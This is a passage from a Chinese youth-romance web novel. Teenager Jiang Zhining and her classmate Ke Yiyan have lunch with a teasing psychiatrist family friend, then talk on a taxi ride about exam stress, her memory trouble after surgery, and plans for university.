“啊？不是他。”姜织宁愣了下，摇摇头，有些意外地说，“蒋叔，你还记得蔡从啊？” 蒋医生慢吞吞揉着脸颊上被病人误伤的淤青，哼笑道：“那可不，以前那小子不是隔三岔五就要陪你来医院吗，还总是挨你骂呢，看着怪可怜的。” “还有个姓周的小姑娘，也经常陪你一起过来，你们仨跟个铁三角似的，小时候啊，特别逗。” 被蒋医生这么一提醒，姜织宁随之想起幼时趣事，忍不住笑起来：“你说的是周静瑶吧。” 蒋医生笑道：“对对对，就是她，她和蔡从都特别胆大，天不怕地不怕的。” 两人闲聊着，两分钟后，姜织宁眼尖发现柯译衍出现在视野里，她面露笑容，及时冲他挥手示意：“这里！” 目光交汇，柯译衍抄近道走过来。 是从没见过的新面孔，蒋医生注视着熙攘人群中鹤立鸡群，回头率百分百的帅气黑衣少年，再度挑了挑眉，然后耐人寻味地瞥了眼姜织宁。 男人心想，哟，这男同学长这么帅呢，堪比明星啊。 “你这同学长挺帅。”蒋医生意味深长地说。 姜织宁没听出异常，主要是蒋医生这话没毛病，她笑眯眯接话：“那可不，人家可是公认的江中校草。” 蒋医生：“” 姜织宁的语气里有一种“这我朋友，牛不牛，优不优秀！”的自豪夸夸感，她觉得很正常，对外提起周静瑶拍照厉害是这幅口气，说到蔡从打游戏厉害也是如此。 但让蒋医生听起来，就不是那么回事了。 男人内心瞬间一咯噔，不妙心想，小姑娘这口气怎么回事啊？ 还给她自豪上了？ 有鬼！有鬼！ 想到这，蒋医生顿时板起脸，长辈训话状：“校草怎么了，帅能当饭吃啊？！做人不能这么肤浅！” 姜织宁迷茫眨了眨眼，蒋叔干嘛突然生气啊？ 医院职工食堂在四楼，这个点吃饭的人不多，食堂里很安静。 食堂嘛，统一大锅菜，就别想着好吃这码事，姜织宁之前来医院食堂吃过，所以一边打菜，一边好心告诉柯译衍哪些菜需要避雷。 蒋医生是糙老爷们，没那么讲究，十几秒就打好饭菜，他刷完饭卡，人也不走，把餐盘往旁边利索一放，抱臂盯着两位小朋友打菜。 当然，主要是深沉研究柯译衍，用一副老父亲担心宝贝闺女青春期早恋的不爽目光。 作为过来人，男人当然知道这个年纪的女生就是喜欢帅哥，颜值大过天，什么美好品德，善良内心都得靠边站。 蒋医生是姜颖的多年好友，因此男人在姜织宁年纪很小的时候就认识她了。 姜织宁上小学时，因为父母车祸去世患上心理疾病，就是被家人带到蒋医生这里看病。 男人知道蔡从和姜织宁是青梅竹马，所以刚才得知是男同学陪姜织宁来医院，下意识以为是蔡从。 哪知道，忽然来了位张扬夺目的生面孔，男人很意外。 少年确实长得很帅气，但也让老父亲的内心很不安，毕竟是从小看着长大的小姑娘。 除了蔡从，就从没见过其他男生陪姜织宁来医院看病，看病这么私人的事情 男人脑子里经过一番缜密分析后，很快得出结论—— 两人关系绝对不一般！ 蒋医生一边想，一边旁观俩小朋友凑在一起嘀嘀咕咕不停，这画面，是让他越看越皱眉。 怎么着，这小子眼睛有问题啊？看不清菜？还需要姜织宁帮他介绍啊？ 呵，干脆喂他嘴里得了！ 还有，两人穿得也很碍眼，少年一身冷酷锋利的黑，少女则是黑白色系甜酷风混搭。 干什么啊，光天化日，特意穿情侣装啊？！ 想到这，蒋医生作势要发脾气，结果两人突然转身端着餐盘走过来。 男人不得不把话咽回去，单手拿起餐盘，笑呵呵把饭卡递给姜织宁，然后趁小姑娘低头刷卡的时候，秒变脸，狠狠瞪了眼柯译衍。 柯译衍：“？” 第60章 你是单身吗？ 蒋医生坐在姜织宁对面, 刚坐下不到一分钟，柯译衍就觉得，他被男人用不悦的打量目光高频率瞄了几十眼。 柯译衍明显察觉出对方不太喜欢他, 就挺困惑，甚至为此反思了下来时的表现, 心想自己挺有礼貌，也没惹人嫌啊 他会这么想, 并不奇怪。 毕竟从小到大，他这人是挺招长辈喜欢的, 哪怕他小时候性格不好, 总是冷着张脸, 寡言少语，也丝毫不影响大人们喜欢他。 世人偏爱天才, 尤其是特立独行，不循规蹈矩的天才。 看不惯他的, 基本都是周胜扬那种嫉妒心发作的同龄人，别以为只有女生会嫉妒搞事, 那男生要是嫉妒心发作起来，破防的更厉害。 幼时遭受亲生父母抛弃冷落的原因, 导致柯译衍很早熟, 比同龄人更早懂得人情世故, 从没想着依靠谁, 性格特别独立。 他内核冷静沉稳，行事作风靠谱, 教养刻在骨子里, 会安排事，会照顾人, 俞杨每次和他在一起都特别有安全感，似乎这世上就没有柯译衍搞不定的事。 很小的时候，柯译衍便习惯不依靠任何人，独立做事情。 在别人还处于只会哇哇大哭，天天需要家长亲自到校门口接送的小朋友年纪里，他已经对独自坐飞机这件事驾轻就熟。 飞往国外的航班，经常涉及复杂头疼的转机路线，身高才到成年人大腿位置，还是小朋友年纪的柯译衍，给不少成年人指过路。 要不是后来柯绍之意外出现，姜颖早就把柯译衍夸上天了。 女人是典型的刀子嘴豆腐心做派，别看平时经常不客气使唤少年做这做那，其实是基于百分百的信任，才愿意把事情交给他处理。 自从两家一起吃饭后，姜颖一直在不动声色观察柯译衍。 暗自观察了一段时间，她发现少年确实没得挑，身上也揪不出什么坏毛病，性格和为人处事方面，都是十几岁男生中罕见的沉稳靠谱。 相当难得，不知道比当年的柯绍之强多少倍 蒋医生不友善打量柯译衍的频率实在高到离谱，连姜织宁都注意到了，好几次她和蒋叔说话，男人嘴上嗯嗯嗯，眼睛却光明正大盯着柯译衍。 男人身材魁梧，长了张糙汉脸，脸颊上还有两块青紫色的恐怖淤青，就这么凶巴巴盯着人不放，显然是在挑事。 而柯译衍当没看见，顾自气定神闲吃着饭，情绪相当稳定。 这是在干嘛啊？ 莫名其妙好吧。 姜织宁看不下去了，她是个对朋友很讲义气的人，毕竟柯译衍好心陪她来医院，怎么能让他挨人眼色呢。 这不行，姜织宁叹了口气，直言说：“蒋叔，你老盯着我朋友看干嘛？你这样看他，搞得我很害怕哎。” 男人慢吞吞收回目光，夹了筷炒蛋塞入嘴里，见怪不怪地说：“哦，害怕吗？那要不下午，让你朋友挂我那儿的号看一看？” “你别说，我手里头有很多你们这个年龄的病人，正好，我看你朋友好像不太高兴，这样吧，来都来了，等会儿去我那边做个测验，有病就治，没病预防预防，毕竟你们这个年纪，学习压力很大嘛。” 姜织宁无语住了。 不是，被这么凶的挑事眼神盯着看，谁会高兴啊？ 还有，什么预防预防，柯译衍又没病，瞎挂什么号！ 这蒋叔，净忽悠人！ “”她不高兴瞪了眼男人，然后扭头对柯译衍说：“别去，蒋叔是精神科医生，你这辈子都用不上。” 精神科？ 柯译衍：“” 懂了，他继续忍忍就是。 毕竟精神科医生压力也挺大的，男人脸上那淤青一看就是被病人揍的，唉，真不容易。 姜织宁蹙眉看着蒋医生的脸，担心说：“蒋叔，你歇歇吧，午饭时间就别老说工作的事了，要不要给你买点药膏擦一下？我看你脸上的淤青都肿起来了，怪吓人的。” “唉没事没事，我自己来。” 蒋医生痛得龇牙咧嘴，叹气摆了摆手，吃饭都不敢嘴巴张太大。 男人也是倒霉，上午有个患躁狂症的年轻人过来开药，对方态度挺和善，结果在他开药的时候，年轻人突然和一起来的叔叔吵了起来 躁狂症一旦发作起来，力气不小，他好心去劝架，结果脸上不幸挨了两大拳，简直痛死人！ “姜颖没陪你一起来？”蒋医生继续不友善斜睨着柯译衍，随口问。 “姑姑本来要来的，她公司临时有点事情。”姜织宁指了下安静吃饭的柯译衍，“所以叫他陪我过来。” “什么？”男人愣了愣，追问，“谁叫他陪你？” “姑姑啊。” 男人纳闷说：“姜颖叫他陪你，你们认识啊？” 姜织宁把香菜挑到一边，眼神无奈：“蒋叔，你到底没有认真听我说话啊？刚才都和你说了，柯译衍是我的同班同学，他家就在我家对面，我俩是邻居。” 蒋医生：“所以就这么认识了？” “还有，姑姑和柯译衍的舅舅是”姜织宁扭头看向柯译衍。 柯译衍默契接话：“多年老同学。” 姜织宁配合点头。 男人一听这关系，总算端正态度，拿正眼看待柯译衍，他若有所思了一会儿，突然问：“你舅舅叫什么名？” 医院食堂的饭菜确实不好吃，口味太淡了，柯译衍放下筷子，礼貌回：“柯绍之。” 男人顿时吃惊睁大眼。 原来是一家人，难怪长相看着有几分相似之处，紧接着，他不赞同摆摆手，毫不避讳地挑明说：“乱讲，什么老同学，明明是前任。” 姜织宁：“” 柯译衍：“” “怎么着？”蒋医生感兴趣问，“两人分分合合又在一起了？不对啊，姜颖男朋友不是大学生吗，我还见过呢，小年轻长挺帅，不过肯定谈不久，我看还不如柯绍之。” 呃 姑姑和柯叔叔复合？ 应该不会吧 姜织宁被这个荒谬说法吓到，下意识扭头看柯译衍。 她没听说过这事，也不敢乱说，第一时间撇清关系：“我可不知道啊。” 男人笑了笑，八卦眼睛挪向柯译衍。 面对画风突变的大老爷们，柯译衍心里挺无语，轻咳了声，淡定说：“我也不知道。” 啧，无趣！ 这有什么不敢说的，男人露出一副没意思的表情。 脸上的淤青越发肿胀，又麻又热，蒋医生痛得连连嘶声，饭都没心情吃了，他叹气放下筷子，轻揉着脸，和柯译衍闲聊起来。 “我认识柯绍之，好像没怎么见过你。” 柯译衍：“以前不常呆在江洲，今年上半年才转学回来。” “哦，怪不得。”男人目光挪到姜织宁脸上，“最近怎么样啊宁王，蒋叔看你好像不太高兴啊，怎么小脸蔫蔫的呢？” 姜织宁忍不住翻了个白眼，说：“蒋叔，你怎么看谁都不高兴，我看你也挺不高兴的。” “那不废话！”蒋医生指着恐怖淤青，不满道，“你看看，我都被病人揍成这样了，能高兴的起来吗？” “哦。”姜织宁笑了笑，心血来潮问道，“蒋叔，现在食堂里还卖奶油蛋糕嘛？刚才没看见摆出来。” 男人摇摇头：“老早没了，厨师都换过好几批了。” “好吧，难怪饭菜味道大不如前。”姜织宁惋惜叹了口气，扭头对柯译衍说，“那个奶油蛋糕真挺好吃，食堂自己做的，以前我过来看病的时候，蒋叔老拿蛋糕哄我开心。” “长什么样？” 柯译衍边说，边自然而然地拿起手机。 她回忆道：“就是很普通的奶油蛋糕，纯白色，中间有层草莓果酱，上面放两颗樱桃，卖相特别简单。” 柯译衍微微点头。 蒋医生看着姜织宁，关心道：“最近睡眠怎么样啊？有什么心事吗？说说看，蒋叔给你开导开导。” 姜织宁有个优点，就是她不喜欢憋着，也不喜欢绕弯子，有什么话就直说。 “睡眠就那样，不好不坏吧，中药有点效果。”她放下筷子，撑着脸颊叹了口气，“就是这次月考没考好嘛。” 闻言，柯译衍侧目瞥她一眼。 “没考好？”蒋医生挑了挑眉，笑着说：“少来啊，别以为蒋叔不知道啊，你们江中学生就喜欢凡尔赛，硬给自己找压力，说什么没考好没考好，其实分数已经够高了。” “我有几个病人就是你们江中的学生，那眼睛啊，是一点也看不到自己的优秀，只会自我否定，自己可会pua自己，都给我惊呆了。” “不是，这次是真没考好。”姜织宁报出她的班级排名，脸色蔫巴地说，“我排名从来没这么低过。” 男人顿了顿，去问柯译衍：“帅哥你考得怎么样啊，排第几？” 柯译衍还在手机上问蛋糕的事，反应慢了半拍，刚抬起头，就听见姜织宁替他说：“他很厉害，班级第一，年级是第二还是第三来着？” 柯译衍记不太清，想了想才说：“第三吧。” “哟，这么厉害，大学霸啊！” 蒋医生情不自禁睁大眼。 这回，不仅仅是拿正眼看待柯译衍了，而是另眼相看的惊讶程度，能在江中本部拿到年纪前几，他打心眼里承认，那确实是相当牛逼的水平。 啧啧啧，完全看不出来嘛。 男人心中直犯嘀咕，寻思柯译衍到底怎么长的？ 人长得帅就算了，成绩还这么好，没想到柯绍之的外甥这么优秀。 现在看倒是柯译衍顺眼多了，不过，少年无波无澜的平静语气却让蒋医生不太满意。 男人斜睨着柯译衍，误会说：“吧什么吧，干什么啊，你也觉得自己没考好？前途渺茫，天都要塌了？就是看不上第三，老想争第一是吧？什么毛病！” 柯译衍：“” 非常冤。 前途渺茫，天塌了是什么鬼？ 他完全没有这种想法啊，明明什么都没说，也会莫名其妙挨训吗 蒋医生摆出严肃脸，顾自给柯译衍扣帽子：“得！又是一个喜欢自我否定，硬给自己找压力的小孩。不行啊，今天是没时间了，你这样的，下回有空上我那儿挂个号，我和你好好促膝谈一谈！” “你现在关注一下医院的公众号，挂号那边搜索精神科，上面有我的排班时间，年轻人千万别不好意思，没事的，这一开学啊，上我那儿看病的学生老多了！” 柯译衍：“” 服了，简直越来越离谱。 怎么就突然让他挂号了，到底是谁有病？ 柯译衍被男人一套又一套的说辞弄得愣住，一时不知道该怎么回应好。 大无语中，看在蒋医生悲摧挨揍，心情本就不好的份上，柯译衍无奈叹了声，理智选择沉默是金。 这种时候，多说多错。 果然，蒋医生看少年摆出乖乖挨训的态度，就没继续找他麻烦，转而去安慰起姜织宁。 “宁王我和你说，没事啊，一次月考证明不了什么。” 男人突然指着柯译衍举例：“年级第三怎么了，有什么了不起吗？他也就是第三而已！他没拿到年级第一，就觉得自己没考好，前途渺茫，天都要塌了，是不是啊帅哥？” “嗯，蒋医生说得对。” 柯译衍麻木点头，心说随便吧。 姜织宁：“” 蒋医生一本正经评价道：“这帅哥心态远不如你。” 姜织宁：“” 柯译衍听得有点想笑了。 他弯起唇角，按灭手机放进衣兜里，跟唱双簧似的，从容淡定地配合男人嗯了声。 姜织宁：“” 蒋医生浮起笑脸，对柯译衍的配合态度很满意。 “你这姑娘打小就稳，否则童星这么好当的吗？” “我还记得四岁那年，你给明力牛奶拍广告，片场好几位小朋友，就你没哭，全程又乖又配合，站镜头面前特别自信大方，难怪会脱颖而出！” 蒋医生说到兴起，顺嘴问柯译衍：“帅哥，你看过宁王拍的牛奶广告吗？” “没。”柯译衍摇头。 居然没看过！ 蒋医生立马摆出一副“明力牛奶啊！这可是当年的国民广告，你居然没看过？！”的嫌弃眼神。 他也不想想，姜织宁四岁的时候，柯译衍也才四岁，人这么小年纪，没看过很正常，就算看过也大概率记不住。 另一边，姜织宁对柯译衍表现出逆来顺受，躺平任嘲的态度很是诧异。 她又不傻，当然知道柯译衍不是蒋叔说的那样。 她茫茫然地看着男人，心说，蒋叔你是不是被病人揍傻了，要不要听听你在胡说八道些什么 唉，精神科医生真不容易。 然后，姜织宁同情看向更不容易的柯译衍，心想，要不我们走吧。 来食堂吃饭的医院职工陆续多了起来，隔壁科室的医生走过来，拍了拍蒋医生肩膀，提醒他会议提前的事。 蒋医生点点头，低头看了眼手表，对姜织宁长话短说。 “龟兔赛跑为什么乌龟赢？乌龟为什么活得久？就是因为乌龟稳啊，你们现在离高考还早呢，一步一步慢慢来，不用太着急，也别给自己太多压力。” 姜织宁乖乖应了声。 蒋医生提醒说：“这眼睛要是放在别人身上呢，久而久之，就会忽略自我认知，甚至失去自我，咱们要多内观，少和别人比较。” “你平时可千万别想太多啊，给我心里有点数，你这小身板，可吃不消内耗，给你做手术的那个王医生不是提醒过你吗，叫你为了健康，身心方面尽量做到人淡如菊。” 姜织宁点头：“嗯，我知道。” 三人拿着餐盘站起来，给其他人让位。 蒋医生一边走，一边叮嘱姜织宁：“蒋叔以前和你说过一句成年人的真理——关你屁事，关我屁事，记不记得？” 姜织宁：“记得，你让我少管闲事嘛。” 蒋医生：“为什么和你这么说？因为你情况特殊，身体要比别人弱一点，高中呢，学习压力确实大，尤其是你们这群重点高中的学生，一个个都削尖了脑袋比来比去。” “所以吧，总共就三年，人的精力就这么点，那你就要学会收一收，把重点放在学习上，咳咳像有些青春期的事啊，咱们不着急，等毕业了再考虑好吧！” 前面那些话，姜织宁听着挺有道理，时不时认真点个头，这最后一句话，就很耐人寻味了。 什么叫青春期的事？ 她琢磨了一会儿，突然懂了，会意笑起来：“蒋叔，你别有些事有些事的，不就是谈恋爱嘛，干嘛说得这么遮遮掩掩，你刚才说起姑姑和柯叔叔的时候，就很大方直接啊。” 蒋医生噎了噎，冷哼一声：“你知道就好，现在是单身吧？” “那肯定啊，唉，蒋叔你没办法告状咯～”姜织宁嬉皮笑脸。 男人鼻孔朝天翻了个白眼，秉持一视同仁的原则，将矛头对准柯译衍，问道：“帅哥你呢？” 柯译衍抬眼：“什么？” “你是单身吗？” “” 柯译衍愣了愣，心想，这蒋医生怎么这么八卦啊？ 姜织宁笑眯眯插嘴：“他也是单身，哈哈哈，你告不了状咯～” 蒋医生瞪了她一眼，没好气说：“我问你了吗？干嘛，还要你给他打掩护啊？让他自己说！” 姜织宁俏皮拖着嗓音，长长哦了声。 男人顺势偷偷摸摸掏出手机，但凡柯译衍点个头，他立马给柯绍之打去电话告状！ 词都想好了，第一句就是—— 柯绍之，哈哈哈，你外甥早恋被我抓着了！ 柯译衍很无语，侧目看向姜织宁，见状，蒋医生顿时板起脸，斥道：“你看她干嘛，看我！” “”他无语目光挪到男人脸上，沉默三秒后，毫无脾气地说，“单身。” 见男人眼神狐疑，他淡淡补了句：“这次才考第三。” 哦，懂了懂了！ 蒋医生顿时放下手机。 男人很理解，理解这帅哥还深陷在考年级第一的执念里，一提起成绩，他就觉得前途渺茫，天都要塌了，指不定内心还会自卑呢！ 这种情况，不可能有心思谈恋爱的。 电梯叮一声停在一楼，门打开，姜织宁心情愉悦走出去，转身冲蒋医生挥了挥手：“蒋叔拜拜，我们先回去了，下次见。” “见什么见，你别来，我这里没你位子，永远也别来！” 男人一脸嫌弃挥手，然后严肃指着柯译衍，提醒他说：“你得来啊，必须来！你的问题比较严重，有空记得挂我号，可千万不能拖啊！” 柯译衍：“” 真是服了哎，没完没了。 老让他挂号，怎么，这蒋医生缺业绩啊？ 姜织宁眉眼弯成月牙状，指尖扯着棒球服袖口，捂嘴旁观这一幕，简直快要笑死了。 医院附近很好打车，软件里的订单刚发出去，就有司机秒接单。 柯译衍记下车牌号，无语目光斜向姜织宁，没好气质问：“很好笑吗？” 姜织宁左手叉腰，右手捂住肚子，笑得直不起腰，只能用点头回应他。 柯译衍被少女活泼的笑声感染，拿她没办法，不由勾起唇角，无奈摇了摇头。 两人站在繁忙的十字路口等车。 城市宽阔大道车水马龙，人流如织，红绿灯规律交替着。 电动车时不时在身前飞速驶过，掀起阵阵疾风，姜织宁黑而亮的长发随风肆意扬起，纯白裙摆在风中慵懒荡漾。 如果站在马路对面，便能一眼注意到，穿了身锋利黑的冷酷少年身姿闲散，与肤白貌美少女并肩而立的吸睛画面。 金秋暖阳穿透梧桐树，斜斜倾泻在两人身上，少年唇角微弯，侧目注视着偏头偷笑的少女。 无比般配，格外养眼的一幕，像是闪闪发光的青春电影海报，特别美好，特别有氛围感。 平凡的秋日午后，因少年少女而变得鲜活热烈。【你现在阅读的是 】 60-70 第61章 你哭个我看看？ 柯译衍怕姜织宁被电动车撞到, 伸手拉住她手臂，将人往后面扯了下。 姜织宁被他拽着站稳后，抬手将风吹乱的头发挽至耳后, 笑盈盈扭头看向柯译衍。 她眼眸泛着湿润水光，目光格外明亮, 眼泪都笑出来了。 “开心了？”柯译衍斜眼睨她，不冷不热地说。 姜织宁见好就收, 深深呼吸，强忍住笑意, 嗯了两声。 白色汽车匀速停在眼前。 柯译衍替姜织宁打开车门, 下巴朝里头利落一指, 板着脸警告：“好了啊。” 她再度嗯嗯两声，规矩坐进车里。 柯译衍随后坐上车, 姜织宁笑得浑身没力气，慵懒靠着椅背, 歪头看他，贴心安慰道：“没事, 蒋叔就是和你开玩笑呢，他这人挺逗的。” “是吗？”柯译衍双手环在胸前, 不咸不淡瞥她一眼, 鼻腔冷哼一声, 说, “我看不像啊，他不是说我的问题比较严重吗。” 说话间, 汽车加速驶入车流。 姜织宁再度深深呼吸, 抿唇憋了又憋，结果实在忍不住, 索性放飞自我，双手掩面放声笑起来。 “哈哈哈哈” 笑着笑着，她上半身逐渐往柯译衍那边歪倒。 这时，汽车突然往左边急转。 姜织宁根本来不及反应，惊呼一声，整个人重心不稳，瞬间不受自控朝柯译衍摔去。 柯译衍眼睛一直在她身上，所以反应极快，左手臂立马横揽她肩膀，将人往胸膛按，右掌稳稳托住她脑袋，防止她撞向车门。 顷刻间，指尖传来无比细腻的温软触感，是少女白皙的脸颊，宛如云朵般柔软，桃子味发香若有似无飘入鼻尖。 柯译衍呼吸滞了下，右手不动声色往旁边挪了挪。 “没事吧？”他冷静垂眸看向怀中少女。 如果细心一点，此时此刻，姜织宁便能感受到少年突然加速的心跳，只不过她笑得晕晕乎乎，这会儿又因为尴尬着急爬起来，就什么也没察觉到。 “没事没事。” 姜织宁手撑着他大腿，迅速挪回自己座位。 柯译衍淡声提醒：“坐好啊。” “嗯”她整理乱掉的头发，平复气息，继续刚才话题，“你别搭理蒋叔就行。” 柯译衍嗤笑了声：“蒋医生工作很闲么，缺病人是吧？” 她摇头说：“那没有，医院很忙的，蒋叔刚才不是说了嘛，去他那边看病的学生还挺多，好几个重高的学生。他就是觉得学霸压力挺大的，其实过去看看也没什么，蒋叔很专业，有时候就是和你耐心聊一聊，不会有其他事。” 柯译衍耐心听她说完，顺势问：“你也去蒋医生那边看过病？” 刚才听她提起医院食堂奶油蛋糕好吃的时候，他就猜到了，只不过那会儿不方便问。 姜织宁顿了顿，挪开眼，语气淡下来，低嗯一声：“小时候看过。” 明显不愿多说的口吻，柯译衍识趣没问下去。 车内气氛安静了一会儿，柯译衍突然开口：“蒋医生有些话说得还挺对。” “嗯？”姜织宁从窗外收回目光。 他重复男人刚才说的话：“现在距离高考还早，一步一步慢慢来，不用太着急，也别给自己太多压力，一次月考证明不了什么。” 江中管理宽松，校风格外自由开放，这份底气来源于学生们的高度自律和自发性内卷，由于竞争特别大，所以每年都会有人因为成绩跟不上而主动转校。 没人逼迫，纯属自己受不了主动离开，很残酷。 江中本部大神、天赋怪多如牛毛，姜织宁的成绩虽然挤不进头部那一批，但始终稳定呆在上游水平。 就像她刚才说的，她成绩排名从来没这么低过，如果按照这次月考的分数，估计她连江洲大学的冷门专业都够不上。 所以不是凡尔赛，就算不和别人比，和自己比，她这回也是真的考砸了。 其实姜织宁心烦的不是考砸，毕竟她以前经历过很多次起起伏伏的成绩，心态因此被捶打的很稳定，不会因为一次没考好就想太多。 真正烦心的是，这回导致考砸的原因有些特殊，以至于一提起这件事，她就情不自禁得烦，确实想找个朋友倾诉倾诉。 想到这里，姜织宁长长叹了口气，没藏着掖着，扭头对柯译衍说：“我刚进初中的时候，因为身体原因成绩很一般，要不是因为小学直升政策，按照我那成绩，其实去不了市内的头部初中。对了，你初中读的哪所学校？我们不会是校友吧？” 柯译衍摇头：“不在江洲这边。” “在哪个城市啊？”她好奇问。 他说：“雾京。” 她哦了声，说雾京的家长学生也都特别卷，然后继续回忆道：“头部初中嘛，周围同学当然都很聪明，成绩一个比一个厉害，在那种环境里，我压力就特别大。” “考试经常在班里吊车尾，努力了很久，我的成绩才慢慢追上来。我们这所重高特别难考，尤其是本部，我从来没想到能被本部录取，之前一直想着考去附中。” 司机是个大叔，正巧家里小孩也在读高中，听到姜织宁这话，感兴趣插嘴问：“你们哪所高中的啊？” 姜织宁：“江中。” 大叔一听，立马夸道：“哦哟，这么厉害啊，居然是江中的学霸！嗯，江中确实最难考，顶尖学府嘛，我们家长都知道的，江中本部的生源最优质，小姑娘怎么考进去的？有没有秘籍分享下？” 姜织宁笑了笑：“真没有秘籍，只能说是很努力的学习了。” 大叔哈哈笑。 柯译衍也弯了弯唇，顺势说：“你觉得自己超常发挥才考上江中？” 姜织宁点点头：“肯定有点运气成分在，中考的时候我做题特别顺。” 柯译衍倒是和她的想法不太一致，淡然说：“与其归功于运气，倒不如说你很努力的学习了，所以积累足够多，本就够格拿到入场券。” 姜织宁愣了下，笑看着他：“这是在夸我本来就很优秀嘛？” “不然？”柯译衍大方承认。 她哦了声：“谢谢夸奖啊，之所以说起初中的事，就是想说，初中那三年我经历过很多次成绩起伏，早就习惯了，所以这次心烦的不是月考排名，而是身体。” “身体？”柯译衍皱了下眉。 “嗯，我后脑勺上半年不是动过手术吗，怎么讲呢，感觉多少有点影响记忆力吧，容易丢三落四，忘记这个忘记那个，有时反应会慢半拍，还会睡眠障碍。” 柯译衍眉头皱得更深：“是不是影响到学习了？” 姜织宁诚实点头：“那肯定啊，毕竟记忆力下降嘛，反正我觉得现在脑子没以前转得快，背书也费劲。” “不过我这种情况还算好的，也就手术刚结束那会儿，短暂失忆不记得人，我住院的时候，隔壁病房送来一位车祸撞到头的姐姐，她更严重，医生说她大概率会长期失忆。” 也就短暂失忆不记得人？ 她这心大的语气简直了 柯译衍很佩服，不可思议盯着她：“你还笑？” “那我哭？”姜织宁表情很无辜。 柯译衍直接被她气笑了，无语点了点头：“嗯，你哭个我看看。” 姜织宁：“” 他不着调地补了句：“没看过啊，还挺想看的。” “” 姜织宁也很无语。 那事情都发生了，现在哭有什么用？ 她无言好几秒，不高兴甩了句：“想得美。” “”柯译衍看她不高兴，轻咳了声，放缓语气问，“医生怎么说？提升记忆力方面。” “吃药调理，保持运动，身心放轻松，会慢慢好起来的。”她轻叹气，“就是不知道慢慢是多久。” 姜织宁心烦的就是这个。 慢慢会好起来，到底需要多久呢，就连医生也无法给她一个明确期限。 如果说，初中时期的成绩困境，她可以用努力学习来打破，那么眼下的困境，显然比之前更艰难许多。 身体受伤的后遗症在无情拖她后腿，给她安装了一个bug，导致光凭努力并不能解决问题，甚至太过努力还会助长bug蔓延。 她必须另辟蹊径。 可问题是，另辟蹊径很难。 想到这，她深深叹了口气，自言自语嘀咕：“电影里果然都是骗人的，别人被蜘蛛咬了下就变成蜘蛛侠了，那我脑袋被砸一下，怎么就没给我砸出个超能力来？太不公平了。” 柯译衍沉默两秒，好笑问：“要超能力干什么，宁王想去拯救地球？” 姜织宁斜他一眼，干巴巴地说：“是啊，不行吗？就想去拯救地球，那也算活得有价值了。” 柯译衍笑了笑，转而问：“想考哪所大学？” 姜织宁：“我自己还没有什么想法，原本姑姑给我规划的是出国读大学，她想让我出去看看外面的世界，多长见识，后来我不是住院休学了吗，姑姑就改主意了，说养好身体再出去。” “所以按目前情况来说，应该是本地的江洲大学吧，学校不错，C9之一，离家又近，周末还能回家住，我家里人都希望我留在本地读大学。” 柯译衍听后，若有所思。 前几天，他在班主任电脑里看过姜织宁的各科分数，按照这次月考成绩来看，她想考江洲大学估计悬，不过也不是没可能。 “你呢？”姜织宁看他沉默不语，反问道。 柯译衍回过神：“什么？” “你想考哪所大学？”姜织宁猜测说，“按照你这个排名的话，肯定是国内所有高校、所有专业任你挑选，不过，你不一定会留在国内吧？” 柯译衍挑了挑眉：“为什么这么说？” 姜织宁双手环到胸前，唇角微翘，整个人端起姿态，意味深长盯着他，说：“没想到，我的同桌居然是大满贯青少年冠军，可以啊衍神，藏这么深呢，真是低调～” 柯译衍：“” 又叫他衍神了。 同样是调侃语气，上次是俏皮打趣，这回却是带了点电流的婉转腔调，他心头瞬间一滞，浑身不自在极了。 姜织宁这张脸长得张扬夺目，五官里最惊艳的是眼睛，眼型偏长，眼尾上扬，极其灵动漂亮。 少女刻意安静盯着人看的时候，仿佛挠人心痒的小猫爪，不论男女，十个人里面九个会脸红，会心跳加快。 柯译衍没想到她会突然提起这件事，一时无言，沉默数秒后，不动声色挪眼避开对视，平静说：“谁没个过去，你不也是大明星么。” “哎别，可别给我戴高帽啊！”姜织宁立马抬手制止，“no no no，我最多算是小小童星，现在已经是路人甲了，绝对不是大明星。” 他看着窗外风景，淡淡嗯了声：“你也别给我戴高帽。” “我没有给你戴高帽啊，我是真心觉得你厉害，冠军哎，很棒的！” 姜织宁卸下那股不自知的挠人劲，笑眯眯说：“我上次听俞杨说，国外顶尖藤校特别重视体育型人才，那些藤校的校队教练为了招生挖人，会专门蹲守在某些青少年赛事现场？” 柯译衍：“是这样，校队教练基本都会去现场观看四大满贯青少年赛。” 姜织宁好奇问：“也有教练联系你吧？” “有。” 转来江中之前，每逢假期，柯译衍就会飞到国外生活、训练，从小就这样，所以他和某些校队教练挺熟的。 去年参加法网青少年赛，还没等他拿下最后冠军，就因为前几轮的出色表现，被好几所藤校教练主动联系。 即使他现在不打网球了，依然有数位教练和他保持着联系，时不时旁敲侧击他的升学想法。 姜织宁追问：“那你怎么想啊？” “应该会留在国内。”柯译衍看她一眼，没怎么犹豫地说。 “哦。” 既然话题说到了网球，他闲聊问了嘴：“知道纳达尔吗？” 姜织宁：“当然知道，网坛三巨头之一嘛。” 柯译衍：“纳达尔有颗大心脏，拥有永不服输的斗志，最擅长的就是绝地反击，他会在比赛落后的情况下逆风翻盘，最终夺回冠军。” 姜织宁安静注视着他，侧耳倾听。 “我觉得，”柯译衍悠悠评价，“你也挺擅长这事。” 姜织宁：“擅长绝地反击，逆风翻盘？” 他淡淡嗯了声。 呃知道这是在夸她，但会不会有点夸过头了？ 姜织宁微微睁大眼，不可思议地说：“我居然能和纳达尔相提并论？人家可是活在传说里的巨星哎。” “不是这个意思，每个人都是独立个体，各有各的耀眼轨迹。”柯译衍弯唇笑了笑，“只是想和你说，现在就论输赢，为时尚早。” 姜织宁听懂了，会意笑起来。 他是在安慰她月考考砸那事，让她心里别有压力，现在就论输赢，为时尚早了。 她赞同点了点头，笑说：“好，明白你的意思了，要让自己练就一颗大心脏，有道理，我会努力的。” “加油啊。”柯译衍挑了挑眉，笑看着她。 姜织宁一直以为，汽车是往回家的方向开，结果却停在了禾上门口。 下车之后，她茫然望着柯译衍，用眼神询问，突然跑来他妈妈的餐厅干嘛？ 柯译衍关上车门，用一副“难道不是因为你”的目光看着她，不咸不淡说：“你不是说医院食堂的奶油蛋糕好吃？” 姜织宁迷茫“啊？”了声。 其实，柯译衍心里也挺郁闷。 不知道是不是因为照顾姜织宁照顾得太顺手了，刚才在医院食堂，听她提了嘴奶油蛋糕好吃后，他脑子就开始不听使唤，自作主张上赶着，认真琢磨起哪里有同款蛋糕卖。 明明人家只是闲聊两句，也没让他去买。 等他后知后觉反应过来不对劲，蛋糕这事已经利落办妥了 郁闷之余，他内心连连叹气，只能用“朋友，因为是朋友”的荒谬理由说服自己。 